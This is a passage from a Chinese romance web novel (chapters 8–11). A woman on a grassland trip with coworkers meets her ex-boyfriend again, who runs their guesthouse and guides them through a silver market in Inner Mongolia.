“你这姑娘,这么犟的话咱俩各让一点,我一万四千五,给你省个来玩的路费,你看怎么样?”
虞蓝唇线轻抿,缓慢的摇了摇食指,本打算继续叫价,猛地听身后一声“我买了!”
凌小兰阔步卖向店中央,把皮草摘下来垮在胳膊上,隔在虞蓝面前,甩出手机二维码让老板扫。
一面声音不大不小地嘟囔:“一万多块钱都掏着费劲,还出来装什么装?”
辛可没参与着前面的纷争,但是一看凌小兰这个劲就知道她冲谁来的。
撸起袖子就要到收银台和她好好说道说道,被虞蓝一把拦住。
后者冲她眨眨眼,漂亮的凤眸里满是狡黠。
都仁见两个男生都归队了,虞蓝和辛可迟迟没回来,找到店里,甫一进门,就对上提着大包小包的凌小兰,瞬间愣住:
“你怎么在这?”
他没想到在这能碰见这位祖宗,反应过来他下意识的语气太冷漠,挽尊道:
“我的小兰姐姐,你一声不响跑到这来,我哥知道吗?”
凌小兰怕朝戈归怕朝戈的,但丝毫不把他底下这些人当回事。
挎着满手战利品,指尖挂着车钥匙转了圈,翻了个白眼:“他当然知道了,我开他车出来的。”
虞蓝本来都要走了,蓦然被这点声响拦下脚步,听着他们对话里提及的那位男主角,心跳陡然一重,回望了下羊皮灯底下骄傲立着的凌小兰。
她忽然明白了那点眼熟是从哪来。
他们昨天隐约见过半面...
朝戈的新女朋友。
9. 第9章
旷野民宿。
牛骨风铃清脆一声响,朝戈从刚擦拭的黑牛角弓上面抬头,猛然怒气冲冲的凌小兰。
腕子上挎着大包小包,两颊腮鼓,整张脸红彤彤。刚回到民宿就咣当一声关门,把自己关进了屋里。
朝戈下意识地蹙眉,视线往她身后看。
窗外有微风,女人披了件披肩在身上,背对着他正在等其他人。身体挡住表情,一直到进屋了他也没能看清。
下一个进来的是都仁,甫一下车就被朝戈拦住:“怎么回事?”
“让人讹了,我也是嘴欠,告诉她那衣服根本就不值那些钱,一下就生气了。”
都仁着急上厕所,被朝戈一直拦着,话急的蹦豆子一样。
“话说回来,镇上那群人真是赚钱连个连个底线都没有,今天那个女的本来是想宰凌小兰和虞小姐两个人的。结果虞小姐聪明没中套,这要是两个人都买了不得在她那个小破店里花五万块啊?”
都仁摊开手掌表情夸张:“他那个店一年租金有没有五万块钱都另说。”
朝戈闻言眉宇蹙得更深,扫了电梯关上的门:“我问你你们怎么碰到一起的?”
都仁实在憋不了了,撂下一句“就路上碰见的”,然后急的一溜烟跑进了厕所。
末了,一片哗哗声中不忘隔门扯脖子喊一声:“还有一个八卦,等会儿我出来跟你说。”
朝戈没说话,长腿迈开,叉腰站在院门口等他。
天幕如墨色绸缎铺展开。银河蜿蜒成一道流淌着银砂的光带。
院子里着篝火,橙红火舌正卷着松枝劈啪起舞。
虞蓝的房间在四楼,最大的圆顶落地窗那间。
自动窗帘拉得严实,屋里只能渗出点顶光光影。
私密性极好。
淡淡月光底下,朝戈扯了扯唇。
这装修还是当年重装民宿时他特意吩咐的。
都仁好久还不出来,他从口袋里掏出根烟叼在嘴里,侧脸拢火点燃。
...
辛可和两个男生楼上换完衣服就来集合,说好了晚上野营看星星。
电梯门一开,她就看见站在檐下抽烟的男人。
俊脸微侧,长指拢着点猩红。挺鼻薄唇,唇角紧抿,含出清晰有力的下颌角。
一身板正直筒的冲锋衣,最朴素的款式,既遮瘦又遮肉,大学里的男生人均爱穿。
但是男人身材实在太好,抬手拢烟的动嘴,宽肩就将衣服肩线撑满。身型又高,支着两条长腿,周身充斥着游刃有余的力量感。
不怪当年蓝蓝能看上他。
闺蜜之间,有情报一定是秒发送。
辛可抽出手机,干脆利落地对着这侧影拍了张图,发给虞蓝,配文——
“你前男友在楼下蹲守呢。”
辛可发完,再抬眼,那双凌厉漆黑的眸子忽然抬起,凝到她身上。
辛可心里莫名一凛,但男人看了她两秒,蓦然出声:
“你们吃晚饭了吗?”
辛可摸不到头脑,如实道:“吃过了。”
男人下颌顿了顿,脸就侧到另一边去。
辛可莫名一阵不爽,一是想起今天下午那个凌小兰就来气,另一个是神经慢了一拍,觉得替自己闺蜜输了气势。
他问啥你就答啥?
正烦着,胡杨也到了约定露营地,手里拎着奶豆腐:“蓝姐不来吗?”
“她都拒绝了,还来什么。”辛可好像突然找到了突破口,眼梢瞟了一眼侧身看月亮的高大男人:
“她那个人拒绝了的事情绝对不会反悔,你又不是第一天认识她。”
胡杨犹豫地看了眼手里拎的奶豆腐。
“这是你今天排长队给她买的?”她故意高声。
胡杨不好意思,摊开袋子讲是要分给大家的。
石头也来了,三个人到齐,就在院子里围着篝火铺好垫子,点上音响,胡杨放了首舒缓的《TenerifeSea》
辛可倚着看星星:“黄老板的歌啊,蓝蓝最喜欢。”
“一听就很英伦风情,像在赛文河边的小船上。”石头点评道,他翻了个身看向辛可,“但是蓝姐不是在美国上学、工作吗?”
“有什么冲突的。”辛可低头敲九宫格回虞蓝的消息,拨冗道,“一个人的审美和她所处的地方关系不大。”
“一个人的审美来自于过去经历所有东西的总和。”胡杨循着记忆,慢声。
见两人的目光凝过来,胡杨解释:“我入职培训时候蓝姐说的。”
辛可眉梢挑起来:“怪不得蓝蓝喜欢你,这么久远的话你都记得。”
“说说,还记得什么?”
月光隐到云层里,黑暗裹了上来。这点弥漫上来的暗意给了少年点安全感:“我从第一天入职Lumières?phémères的时候,就是蓝姐带我。”
“实习时候给得很少,一天$28,一周结束的时候,我给全组人买了咖啡,大家都很高兴,邻座的印度姐一直说我太sweet了,只有蓝姐没拿,快下班的时候很严肃的把我叫到茶水间。”
“她职场里不需要这种东西,干好你自己的事情就行了。”胡杨说着,眼底涌上点荡动,“我那时候刚毕业,没多少积蓄,偏L&?那地方旁边寸土寸金,一天合下来基本上是搭钱。”
“她怕我坚持不下去。”
胡杨说完,听故事的辛可和石头沉默了。
大家对胡杨的暗恋都心照不宣,但都在一个职场,又有几岁年龄差,再加上虞蓝那个性子,没人看好。
但胡杨一讲述,再没人舍得苛责他那份心动。
石头拍拍他肩膀,故意偏倚主题道了句:“这不都熬过来了。你小子现在seniormanager,前途大好着呢。”
...
都仁拴住腰带从厕所出来的时候,听了个尾巴:“虞小姐果然人美心善,这搁谁谁不动心。”
朝戈一手揣在兜里,听见都仁这话眸子微侧,视线觑到都仁脸上。
后者立刻高举双手:“我可不是故意听的嗷,他们就在那坐着。”想不听也难啊。
再说了,你不也偷听着呢吗?
都仁促狭的眼神透露出了这句话。
朝戈低头按灭烟头。
一整根烟燃毕,尼古丁也没能荡走胸闷。
偏有人还没有眼力的凑过来,好死不死道:“哥,我有八卦,你听不听?”
“那个——”都仁觑觑下巴,向着垫子方向,“刚讲话的斯文小男生,喜欢虞小姐。”
朝戈没做声,下颌顿了下,顺着都仁目光看了一眼,眼眸沉得像漆黑的墨。
-
虞蓝洗完澡,拿起手机就看见辛可发来的“前男友在楼下蹲守”的消息。
还贴心的配了张图。
都不需要点开,小图都能看出来的宽肩窄腰,长腿随意一站,脸都没看清就能感受到的男性气质冲击。
许是她久久没回复,辛可那边急得又发消息:“hi,美女,在吗?是在默默流泪吗?”
虞蓝回了个有病就去治的表情包。
“你不想说点什么?”辛可八卦。
“不想。”
“今儿碰见他现女友了也不想?”
“我都二十六岁了,二十岁的心动燃料早烧完了。”
敲完九宫格,虞蓝手机甩到床头柜上,按了静音,按部就班地做着她的睡前几件套。
精油敷脸,搓得耳朵都热了,心也没能静下来。
房间是落地玻璃窗,扯开窗帘一个缝隙,底下一览无余。
院子里,生着一团篝火,围着那团明灭火焰,旁边是辛可他们的野餐垫。
几个人倚着背垫在闲聊,并没有多余的人。
意识到她在想什么,虞蓝心底一阵对自己的不爽,抓在窗帘上的手刚要撒开,就见辛可他们几个仓皇站了起来,许是夜幕低垂,天上飘起小雨,几个都做了遮脑门姿势。
下一秒,一个高大人影从一侧步入雨帘。
虞蓝撤窗帘的手蓦然顿住。
男人手里攥着的管制用具是折叠帐篷。小雨淅沥,他屈膝压住篷布,扯防风绳,打界桩,榔头起落稳如钟摆,两下闷响就楔入深度正好的锚点。
潮湿雾气里,男人弓起的脊背绷出清晰的肌肉轮廓。
虞蓝看着,脑海里蓦然蹦出来刚才辛可的那个问句。
有没有什么想说的?
虞蓝现在脑海里隔空应她:“他新女友挺有眼光的。”
许是感受到被人注视,楼下,男人蓦然直腰抬起眸子。
虞蓝眉心局促,立刻松手,将那道漆黑浓沉的视线阻隔在窗帘另一侧。
屋内,空间再度被封闭,视线在刚才的交错中,虞蓝也不知道对方看见了自己没有。
黑暗裹着,没吹干的头发潮意涌到头顶。
她听见自己的心跳声,咚咚如敲门的雨线。
朝戈迎着雨线站直身,视线深切浓沉,定在楼上她的房间窗帘波动那一角。
宛若涟漪,只动了一下就散了。
再往外扩出去的那几圈波澜,平静地仿佛是他的错觉。
没人。
朝戈心蓦然一空,攥着榔头的手背力都大了些。
...
雨天,草原,野外,帐篷。对辛可他们这种常年钢筋水泥朝九晚五的都市人来说,简直就是水泊对恰巧穿着雨靴的小孩的吸引力。
朝戈也惯着,在谢声中随意点了下头,就回到檐下。
都仁递了条毛巾,等着男人拭尽了脸上潮意,才旁敲侧击:
“哥,这小兰妹妹,平时是上班还是上学啊?”怎么一直赖在这不走啊。
朝戈看他一脸犹犹豫豫的样子,瞬间就理解他的意思:
“不上班也不上学。”
“啊?那她来这待着干嘛?”
“来要钱来的。”朝戈眉弓微顿,扫了他一眼,直白道。
凌小兰从小跟着她那个歪心思的妈,也没正经学什么习,高考时候走得艺考,毕业之后大环境不好没个研究生学历,连教培机构都不要。找工作实在费劲,打起来出国念水硕镀金这条路。
她母亲伏在阿爸病床前,说得很好听,哪怕是个qs排名两百三百的也行啊,不去欧美那种发达国家,日韩也行啊,再不济俄罗斯,生她不就为了托举,总得让孩子有个班上啊。
阿爸一个常年缠绵病榻的老年人,退休金有,但几百一千的,一分不碰,能攒下多少。
奔着谁的钱来的不言而喻。
都仁听得瞳孔放大:“不是,哥,这钱你真给拿啊?”
朝戈毛巾随意搭着,黑短发上仍湿意淋淋:“本来不想拿的。”
“现在呢?又想拿了?”都仁急道。
“嗯。”
他说完,视线向上抬,顿在那个视线根本不达的某处。
想起刚才窗帘角的微微波动,男人眉间又攒起,声线也绷紧:
“她早点走,咱俩早点清净。”
本来抚掌觉得朝戈这钱给的闹心死了,要是他他坚决不给的都仁,听了这句话,看朝戈仿佛是救世主降临。
恨不得伸胳膊一把把人揽住,泪眼汪汪,双手合十:“哥。”
“你真是我的神。”
朝戈侧头,笑着骂他:“滚。”
-
第二天的行程是贝克力火山群。
虞蓝昨晚不知道几点了才入眠,嘴上说着不在意,梦里乱七八糟,恍惚间还在大学,他们都在一起了还有女生偷偷给他塞情书,说什么年少不能遇见太惊艳的人。她气得要死,真是把她当个屁放了。但她这人又骄傲惯了,直接把情书砸到人家脸上的事她绝不会干,只会挑着连情书边都没碰过的朝戈反复阴阳。
连人家给她夹菜她都要哎呦一句,“年少不能遇见太惊艳的菜~哥哥还是自己吃吧~”
她端个盘子转身就走,男人没法,只能在身后亦步亦趋的哄。偏他还嘴笨,哄不出个所以然,越哄她越拿乔,气得一句话不应他。
最后路过楼梯底下,被男人找个机会堵在没人的角落,兜进怀里。
荷尔蒙和男人冷清的味道一齐压下,指腹凑过来,摩挲着抬起她下巴,直视她眼睛:“生气了?”
她很吃他这一套,寡言内敛的人,说不过就直接上手。唇被一口含住,她整个人都软了,什么气不气的,早不知丢哪里去。
迷迷蒙蒙几个小时,偶尔会冷不丁晃过一些现实片段,有不少朝戈和现在女朋友攀胳膊覆肘的场景,看不清脸,但就半个模糊身影,也够把她从回忆里飘蓦然被拽蹭到水泥地面,一颗肉心被粗粝的碎砂磨得钝痛。
她明知道在梦里都要握紧双拳。
终于耳边一阵强震动,直接把她从梦里振醒。是总部标急邮件。
说新一批矿银出质检问题,窟窿大到整个产品部门都在想办法。
点开邮件收件人里,并没有她。
Sophia专门转发给她。
虞蓝懂她的意思,所谓职场的不可替代性,是别人办不到的事情她能办到。
她回了老领导一句thankx
都没来得及多想别的,立刻翻开电脑和供应商battle签订合同的逃生条款和损失弥补。
键盘敲了半天,怕在房间办公影响辛可休息。她提早到了车上。都仁在驾驶位坐着,见她来了还道了声好。
她那时候仓促点头,头都来不及抬,笔记本电脑被她搁在膝头,光标在供应商名单上机械跳动。
直到车窗一滴雾化的水珠,顺着发梢滴进衣领,冷得她一哆嗦,喉咙没忍住咳嗽一声。
"冷气太足?"
低沉的嗓音惊得虞蓝指尖一颤。
蓦然抬头,这才意识到司机换了人——后视镜里分明映着男人的熟悉的下颌线,凌厉、收窄,让人心惊。
他单手扶着方向盘,袖口随意卷到手肘,小臂线条随着转弯动作绷出流畅的弧度。
雨刮器在玻璃上划出扇形水幕,虞蓝一言未发,拉动车门就要下车。
拉动了两下没反应,才发现车门被男人锁紧,深吸一口气,控制着语气平稳:“今天换导游了?都仁呢?”
“都仁今天有别的事,我亲自带队。”
“你们没其他导游了吗?”虞蓝脸色冰冷,语气自然也不好听。
一个有女朋友的男人把自己和前女友关在一个空间里,她不理解也不能接受。
“一会专门要我带队,一会又不用。”男人压着尾音,眸光扫向她,诘问意味明显,“虞蓝,你们到底要怎么样?”
“谁要你带队了?”
男人丢了个手机到她怀里。
屏幕的光晃得虞蓝漂亮的眉头蹙紧。早上开的临时会议,她讲述了事实情况,石头提出可以临时改个方案,用民族银饰替代。他去联系。
看来就是这么联系的。
民宿官号留言上写着,“老板,辛苦今天取消原本行程,带我们去附近的银饰市场。”
虞蓝犹豫:“
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你们没有别人能带我们去银饰市场?”
“有。”男人眉骨压下阴翳,银质火机随意在手指间转了几圈:“但是今天都不在。”
态度明显不配合。
虞蓝当机立断拉开车门。半只腿跨下车。
“虞蓝。”朝戈冷冷淡淡的声线从前方传来。
“这么多年过去了,你不会以为,我还天天惦记着以前的事吧。”
语调礼貌,疏离,还带着几分嘲讽。
这话刺得虞蓝心一颤,下车的动作一下就被绊住。
屁股瞬间坐稳回原位。
后视镜,虞蓝瞥见自己脸色难看,眉揪在一起,唇紧抿着,一脸憋着口恶气要出的样。
有病。
她这辈子最烦别人激将她。
正攒着心思怎么回击,忽然听见副驾驶一道悠悠声线:
“这么多年没见,你就没什么要和我说的?”
“该说的我昨天就说过了。”
似乎是在回忆哪句。我明天就走。
男人脸色立刻灰沉:“那怎么没走?”
这句话带着挑衅,一下刺中了虞蓝神经:“我哪天走你这么惦记?”她是欠房钱了吗?
朝戈没搭腔,五指搭在方向盘上轻叩。按下车窗,抽了根火柴,擦地一声把烟点着,猩红砰地从后视镜跃出,男人甩甩火柴棍上缕松散的白烟:“确实,我管不着。”
虞蓝挪开视线,说出去都被笑,不仅住进前男友民宿,人家还赶人。
一时间,空间静默。
相顾无言。
虞蓝竭力别开脸看向窗外,避免对视。
这边,浑然不知的胡杨和石头已经拉开车门,两个大傻子一样兴致勃勃坐上座位。
两人不知道发生什么,扫见被虞蓝扔到一旁的电脑,拍拍胸脯:“放心吧,我刚才连续联系了好几个供应商,都有兴趣和咱们合作。最快的打样周期才半周,算上来回双签邮寄,最迟一个月,一定能赶上下个月展会。”
“今天你就放心的玩。”
辛可看到是朝戈带队,也有点诧异,但瞥见虞蓝都没说什么,也就罢了,只偷偷敲九宫格,给她发消息。
“他会不会以为当年你俩分手是你出轨?”
虞蓝:“?”
“很有可能哦,你和他分手很快就和齐之禾在一起了。”
虞蓝:“...那也是隔了几个月的。”
辛可:“跟你和他这几年比起来,那几个月只会让人觉得你俩早就搭上线了。”
"趁这个机会,不解释一下?"
虞蓝抬眼,车座前排,男人面无表情,掌心环住排档杆,手腕肌肉随着用力喷张,引擎轻微轰鸣,车轮轧过草地向前。
“没什么好解释的。”
都过去了,翻那没意义的旧账图什么?
车内无人说话,只有虞蓝敲键盘的声音。
胡杨小声提醒:“车上晃,对眼睛不好。”
虞蓝“噢”了声,顺从地合上屏幕,闭目养神。
不知道是不是她错觉,在胡杨出声提醒她的那一秒,车内音乐声明显大了几个分贝。
蔷薇如期盛放
游人如期过路
情人如期相爱
至到分开
就像命书中批过在最后
都化作乌有
但那天曾实在
华丽地邂逅早发生过好等你继续走
缠绵悱恻的粤语歌,虞蓝觉得调调熟悉,听了很久,才想起来是杨千嬅的「稀客」。
说来奇怪,她一个北京人,竟然喜欢粤语歌。
张敬轩容祖儿古巨基黎明,翻来覆去听了个遍。
最爱的就是杨千嬅。
不止一个人不理解,问“你听得懂粤语?”
她每次都摇头。但也正是因为听不懂,粤语歌反而成了最安全的情绪容器。
无数个夜晚,无论是在崩溃的少女时代,还是举目无亲的L.A
Miriam的烟熏嗓成了一种抚慰剂。她唱歌好像不顾完美,总是破音,甚至有些高音让你觉得危险,跌跌撞撞。
但是就是这点孤勇和横冲直撞的破音,能让虞蓝感觉到一丝放松,喘息,人不一定能把所有东西都平衡好,没关系的,对吧。
车里歌曲在播,随着车悠悠荡荡。
终于唱到——“离开,不应再打扰爱人”。
蓝牙被朝戈毫不犹豫的切断,音乐声灭,旋即被转接过来的蒙语新闻广播取代。
“你把歌切了干嘛?”辛可正等着听高潮,忽然调子跌下来:“这说的都是蒙语,我们哪听得懂?”
“费电。”男人言简意赅。
“路途远,待会电瓶耗尽开不回来。”
握着皮质方向盘的手背张合,很是不耐的样子。
仪表盘蓝光在他下颌咬肌处明明灭灭。
一刹那辛可都有些恍惚,这种神情——好像在压抑着什么,却又克制不住地被人察觉的神情,她似乎在什么时候见过。
非得让她说的话,大概是当年虞蓝已经说了喜欢,却被这小子眼也不眨回绝的时候。
明明是他回绝的人,为什么还会在没人能窥见的宿舍楼下一宿一宿的站着。
她团建吃完宵夜回来,猛然见到一个肩上落雪的人,吓得她以为自己喝出幻觉了。
对上男人眼底的血丝,才有了些实感。
辛可不明白。
虽然杨千嬅已经不唱了,但是不知道从哪句开始,空调出风口的风忽然变得粘稠,挟着若有似无的雪松香一阵阵的飘来。
虞蓝靠着椅背,降下来一小截车窗,表情不是很好的样子
胡杨把自己的外套脱下来,想给她披上:“晕车吗?”
“车里的香水味闻得我想吐。”
虞蓝脸色有些白,胡杨立刻冲着驾驶位道。
“师傅,麻烦前面车窗也打开。”
朝戈半晌才反应过来,这个“师傅”是在叫他。
顺着后视镜往后往望,男生正体贴的把自己的外套给虞蓝披上。
视线里的男生低眸,脸上柔意流淌,唇角抿紧,眼神里说不出的担忧和惦念。
动作专注温柔。
...
胡杨看冷风拂动,怕虞蓝冷。手指捏着衣领轻轻一抖,卫衣外套尾端掠过虞蓝发梢的瞬间,手背恰好地擦过她的耳垂。
小巧无骨的一滴软肉,短暂在他手背上栖息了片刻。
他瞬间屏息。
但下一秒,车身一个急转。
胡杨身体控制不了地漂移,极速的重力坠着他还没多屏息欣赏两秒,脑袋已经被甩到另一侧,磕在玻璃旁“咚”的一声重响。
这一声太响,哪怕没真磕上玻璃,也让全车人侧目。
平直无恙的草原公路,突然开出个急转。很难不让人觉得是故意为之。
虞蓝瞬间暴走,冲着驾驶位:“朝戈,你是不是有毛病?”
她话音刚落,车头一侧钻出来一只黑白花的牧羊犬,嘴里还叼着腿都吓哆嗦的小崽,飞快的跑远。
留下小狗渐远的奶吠声。
坐在副驾驶目睹全程的石头小声解释:“老板哥是因为突然这只小狗冲出来才急刹的…”
车内气氛诡异的流动。
半晌,男人率先打破尴尬平静,声线低沉冰凉:
“到了,下车吧。”
虞蓝反应过来自己说错,但也没觉得有什么歉好道,拉开车门就下车,没在这个尴尬空间多停留一秒。
10. 第10章
旅游淡季的草原上午,清凉舒爽。
草腥气里带着湿润露水味道,凉丝丝地渗进肺叶里。
朝戈带他们来的是一处专门做银饰的旗。
放眼望去,一溜的靛蓝粗布摊,也不都是卖银饰的,但大多都是民族工艺品,玛瑙、蜜蜡之类。
守摊子的人也大多都上了岁数,三三两两的阿婆,穿着靛蓝镶金边的蒙古袍,滚圆的身子挨在摊后,搓着一双有些泛红的胖手。
一见有人来,便笑着看过来,用他们听不懂的民族语吆喝揽客。
虞蓝在其中一家摊子上低头看了一会,拿起一副银镯子:“这个怎么卖呀?”
摊主是个老奶奶,眼角堆满褶皱,粗辫子里编着珊瑚,用内蒙语叽里呱啦说了一堆。
见虞蓝没理解,从她手里摘了镯子下来,伸出两根手指,边指边解释。
虞蓝依旧云里雾里。
她压低脑袋,顺着老太太的视线看镯子,费力理解了半天,依旧一无所获。她刚打算把镯子放下,看别的摊位上有没有懂汉话的老板,身后一道声音传来——
“她说这两个不一样的纹,不一样价格,问你要哪个。”
虞蓝回头,朝戈站在她身后几步外,眯眼看她。
他身量太高,阔步迈过来时候,自带着阳光阴影的分量。
虞蓝别看眼,垂眸去看手里的银镯,繁复又弯绕的云纹被刻在手镯内侧,像心事一样弯绕隐秘。
“狼齿纹的这只。”她开口,顺带指了指。
蒙族老奶奶一副了然神情,开口说了句什么,估计是价格。
虞蓝哪怕集中注意力也没能听懂,她身侧,男人一言不发的站着。
太阳不知道什么时候云层后面出来,照到皮肤上,一阵无名热晒。
虞蓝硬着头皮:“老板,麻烦你帮忙翻译。”
男人幽黑深邃的眸子瞥她一眼,道了个价格。
虞蓝点了下头,掂量了下手里镯子的重量。追问还有别的吗?
朝戈扭过头,沉声向老奶奶说了一段蒙语。
男人声线磁沉低缓,像一场潮湿又缠绵的雨,瞬息将她拉回某一个过去时刻。
脑海里有东西不受控地上浮,但立刻就被她的理智压制下去。
老奶奶听完朝戈的陈述,扭头从摊子底下捧出一个大的羊毛毡包袱。
拿上来一抖开,三十多件银饰哗啦啦铺满矮桌,晨光在错金松石上折射出虹彩。
“她说这里都是好货。”朝戈道。
虞蓝垂眸细细翻看,指腹抚过银器内壁的錾痕,漂亮的眉头便蹙起来:
“这不是都是手作的。”手作的砸在银胎上,会留下鱼鳞状的叠打锤痕。
摊布上这些,太规则了。
朝戈翻译完,老奶奶就咧开嘴笑着冲虞蓝比了个大拇指。被风吹久的胖手灵巧地在衣服上蹭了两下。
"这里边有几件是我最近刚打的,剩下的是呼和浩特来的机压货。"奶奶咧开唇:“也是真银,能唬住不懂货的外行。”
虞蓝从她那双风霜布满的脸上看见一些生动的狡黠。
不讨人厌,直白得甚至有点招人喜欢。
“我能试试吗?”
老奶奶摆出一个当然的表情,用袍襟把银镯子擦得雪亮,往虞蓝的手上套。
女人的手纤细白皙,被深靛蓝粗布作底一衬,脂玉一样。
阳光底下晶亮跟银河似的镯子,一下成了陪衬。
朝戈别开眼,但抵不过摊主赞叹的蒙语蹿进耳。
“看看,多漂亮!”
“这么漂亮的手,戴什么样的镯子都会好看。”
朝戈没翻译这两句,唇线绷得很紧。
银镯子缀在女人手腕上,在阳光底下大刺刺地闪着光。
虞蓝对这批货很满意,指着刚才抖开的包裹:“这些我都要了。”
老奶奶喜笑颜开,双手合十口中一个劲地叨念着“巴雅尔拉。”
“虞小姐真是一如既往地阔气。”身旁,响起一道没有什么温度的声音。
虞蓝敏锐地品出其中阴阳:“这句话也是从她那翻译来的?”
“是我想说的。”男人眉目沉沉地直视她的眼睛。眸光如一把出鞘的刃,明亮刺眼。
虞蓝冷笑一声。
几句不冷不热的阴阳,当给人翻译的报酬了。
她继续端详摊上的其他饰品,一堆绿松石蜜蜡串中,虞蓝瞥见个熟悉物件。
红线编织的一条手绳,缀着银铃、珊瑚、绿松石和长生牌——和她饰品盒里的一件极为相似。
老奶奶见她感兴趣,连忙拽了拽朝戈让他帮忙翻译。
朝戈低眸瞥了一眼,静默了一瞬,还是开口,嗓音低哑:
“内蒙管这个叫呼吉。”
“在内蒙,每个孩子出生时候父母都会给准备一条,系在手腕,寓意拴住福气与健康。”
虞蓝神情瞬息变得复杂,她抬头看老奶奶的表情,后者把呼吉捧在手心,双手合十抵在胸口,向她传递很珍贵的意思。
珍贵吗?
虞蓝抬眸扫了一眼身旁的男人。
男人神色如常,眼神无半分波澜,似乎全然忘了。
朝戈送她手串是在一个普普通通的周末。
她对马术课的兴趣可谓是薄浅到了一定程度,被缰绳磨红手心的时候,虞蓝果断选择不练了。
再练下去她就满手老茧了。
但今天的课时还没结束,她打算用唠嗑来打发时间。
视线一动,就流转到了给她引马的那一截手腕上。
“你这手串哪来的?”
男人循着她声线,凝眸,视线倾过来,眉宇轻轻蹙起,似是对她这种上课走神唠闲嗑行为非常不满意。
被盯得知道不开口她不会罢休,才简短道了句:“捡来的。”
“说谎。”
虞蓝是学珠宝设计的,对宝石天生的敏感。
宝石色彩学里,珊瑚代表生命,绿松石象征天空,玛瑙代表大地。
这么正向的寓意,上哪捡?这么会捡?她也去捡。
“草原上有很多。”许是看她一直眸光灼灼,男人摘了手绳,没犹豫一秒,就扔到她怀里。
“喜欢就送你。”
虞蓝掂着手绳,惊讶道:“这么痛快?”
“嗯。”男人声线低沉,让人辨
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不出冷热,仿佛刚才扔的只是一块石头、草皮:“收了就好好上课,认真点。”
视线里,男人背着身,看不见表情,只有笔挺后背延伸出一截后脖颈,被x京的初春冷风吹得泛红。
他说草原有很多就有很多吧。
虞蓝耸肩,把手绳揣进口袋里,道了句谢啦。
那时候的她,从不怕收别人的礼物,哪怕是贵重也没关系,因为她总觉得,她有得还。
记忆戛然而止,虞蓝有些恍惚。
她想过这个手绳贵重,但想的也是宝石料子好,没成想还有这种父母对孩子的寓意。
毕竟当时朝戈给她的时候,神态稀松平常。
她更是随意地像路过商场领了个赠品气球。
但理智告诉她不是,朝戈是孤儿,几岁就没了父母。
看虞蓝一时失语。摊主奶奶费力弯腰,从摊子底下拿出来什么,叩放在她手心。
虞蓝回神定睛,才看清是一对银耳钉。
圆滚闪亮的两个,在她手心漾着光。
“她说这是送给你的。”身侧,男人低沉缓慢的声线响起。
老奶奶像是能听懂似地点头,弯腰拿出来几个草原字符的纹样,示意她选。
“这也是蒙族信物,就像你们汉族的戒指一样,一般里面会刻心爱人的名字缩写,或者誓言纹样,她问你选哪个。”
虞蓝看着掌心里的耳钉,一眼就觉得熟悉。
刚要费力想在哪见过,蓦然从男人的低眸下闪过来一道光。
虞蓝没侧眸,脑海里回荡起来昨天上车前,辛可的感慨:“你前男友竟然打了耳钉。”
竟然让她在一处银饰小摊上找到了谜底。
熟悉的失控感涌上四肢。
摊主奶奶兴致勃勃的眼神在她和朝戈之间流连,朝戈垂眸看她:“要刻吗?”
内蒙凉风习习,吹得虞蓝莫名有点冷。
手掌里,两只圆滚的耳钉冰冰凉凉的硌着手心,提醒她时间迁移,过去了就是过去了。
“不用了。”虞蓝缓缓笑,看向朝戈的眼神平静、了然,连刚才车上的愠怒都消散尽了。
“帮我跟她说,心意我收下了。”
朝戈看了她半晌,转身机械似地翻译。等到女人已经转到下一个小摊上挑银饰,和他拉开了点距离。
他才转眸,看她。
摊位顶上都挂着小吊灯,橙黄色的光晕摇摇晃晃,正落在她低垂的颈项。
碰到工作上的事,她神情认真、专注;蹲下身去和摊主一起翻地上的余货,全然不顾拉夫劳伦的白裙蹭地,白而薄的一片身子,几乎要融进那光里头。
肩头一层布料单薄,草原凉风一过,将后背单薄的蝴蝶骨的形状都吹衬了出来。
朝戈鲜少地蹙了蹙眉。
也不怕冻死。
身旁,被风吹皱的老奶奶似是能看穿他的心思,用蒙语同他重复——“不刻字,就意味着没有心上人。”
朝戈听完,嘲讽似地扯了扯唇,也用着蒙语低声道了一句冷漠短促的音:
“与我无关。”
没有心上人又如何。
他们之间,又不可能了。
11. 第11章
银饰集中,几个人一个摊子一个摊子的寻,从晌午一直看到傍晚。
一抬头,月亮已如挺着银胸脯的凤凰栖在远方天上。
“话说,草原的银饰可真便宜,这要是找秘鲁的供应商看这么多样,那群印欧混血不知道要叫多高价。”
石头一面伸懒腰一面吐槽。
“怎么感觉和昨天的物价不在一个水平线呢?”辛可掂了掂沉甸甸的“战果”,疑惑道:
“昨天的衣服贵得要死,一件破假皮草能顶十袋我这手镯。”
“看来还是得来对地方呗。”
朝戈站在他们身后,听到这句话撩起眼皮看了他们一眼,没说话。
冷冷寒风,虞蓝还穿一件单薄衣服。本想叫大家收拾东西回,话刚到嘴边,喷嚏便打了出来。
朝戈余光扫到她,顾自拉开车门,坐上驾驶位,按了按喇叭,催促大家:
“上车,走了。”
车里开了空调,暖烘烘的风一熏,大家瞬间都有了倦意,饥肠辘辘。
“朝老板,这是往哪去啊?”
辛可看导航地点和原计的落脚点分明是两个方向,犹疑道:“后面还有行程吗?”
“没有。”朝戈掌心按在方向盘上,睨着后视镜打转向,像没听到辛可故意放大声的提示和目标地相反的导航。
“那这是上哪呢?”
“购物村。”朝戈答得云淡风轻。
“?”辛可瞪大眼,以为听错了似地看向虞蓝。
不是,这个年头,还有高端私人团把人拉到购物村强买强卖?
前女友还在车上呢大哥,一点颜面也不顾了吗?
“这是你们这的规定吗?!”来旅游必须购物。
辛可说这话时候差点咬着舌头。
朝戈顺着后视镜看了眼虞蓝。后者正拍拍一脸愤懑着维权的辛可,用眼神示意她算了。神情仿佛在说,这点钱让他赚就赚吧。
朝戈听见自己磨牙的声音。
“是。”
“来旅游的人必须去消费。”朝戈声音冷硬。“然后我还要在中间抽返点。”
“你?!”
这下除了辛可所有人都听出来了朝戈在说反话。
“老板哥要真是那样人,早上你买银饰时候早宰你了。”石头三下五除二把辛可按住,“你就老实坐着休息,等到了就知道了。”
辛可不情不愿地坐下玩手机,不看他。
敲出虞蓝的对话框狂翻消息:你这前男友够气人的,我记得当年在你手里很言听计从来着。
果然男人有钱了就会变坏!
他不告诉咱们去哪,什么意思,是不是对你还有想法,待会要找个没人地方把我们都敲晕,把你带走?
咱要不要报警?
翻开消息,虞蓝哭笑不得。
辛可脑子里到底一天都在想什么。
车最后在一个叫作裁衣铺的地方停下,牌匾上方几行蒙语,他们看不懂了。
但看不懂也说明,是本地人常来的地方。
店主是位老奶奶,满头银发,正低头眯缝着眼对着缝纫机敲线,见到他们来,立刻起身相迎。
